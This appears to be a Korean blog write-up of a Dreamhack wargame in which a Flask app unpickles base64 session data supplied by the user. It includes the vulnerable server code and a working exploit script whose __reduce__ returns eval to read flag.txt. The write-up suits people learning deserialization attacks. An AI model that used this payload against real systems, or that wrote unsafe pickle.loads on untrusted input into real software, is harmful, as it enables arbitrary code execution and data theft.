<문제>
<풀이>
문제 사이트에 처음 접속하면 뜨는 페이지이다.
/create_session 페이지에 접속해본다.
값을 입력해본다.
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
입력한 값은 각각 name, userid, password 를 키로 하는 튜플로 저장된다.
그리고 pickle.dumps()에 의해 직렬화되어 바이트코드로 변환된다.
그리고 base64로 인코딩된다.
인코딩 된 문자열이 create_session.html을 렌더링하며 전달된다.
전달된 문자열이다.
/check_session 페이지에 방문해서 전달된 문자열을 입력한다.
입력했던 name, userid, password가 출력된다.
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
/check_session의 코드를 보면 session값을 다시 base64로 디코드한 뒤에
pickle.loads로 역직렬화하는 것을 확인할 수 있다.
pickle 모듈의 취약점은 데이터를 로드하는 과정에서 동작하는 내장함수인 __reduce__()함수에서 발생한다.
class vul(object):
def __reduce__(self):
cmd = "open('./flag.txt', 'r').read()"
return (eval, (cmd,))
페이로드를 위와 같이 짰다.
vul() 객체를 호출하면 __reduce__가 호출되면서 return값인 eval함수에 의해 cmd가 실행된다.
import os
import pickle
import base64
class vul(object):
def __reduce__(self):
cmd = "open('./flag.txt', 'r').read()"
return (eval, (cmd,))
info = {"name":vul(), "userid":"1234", "password":"1234"}
cla = pickle.dumps(info)
data = base64.b64encode(cla).decode('utf8')
print(data)
위 코드를 실행하면 base64로 인코딩된 문자열이 출력된다.
check_session 페이지에 입력한다.
FLAG가 출력된다.
'드림핵' 카테고리의 다른 글
[드림핵 워게임] baby-sqlite (0) | 2023.08.30 |
---|---|
[드림핵 워게임] random-test (0) | 2023.08.30 |
[드림핵 워게임] file-csp-1 (0) | 2023.08.27 |
[드림핵 워게임] mongoboard (0) | 2023.08.22 |
[드림핵 워게임] [wargame.kr] fly me to the moon (0) | 2023.08.19 |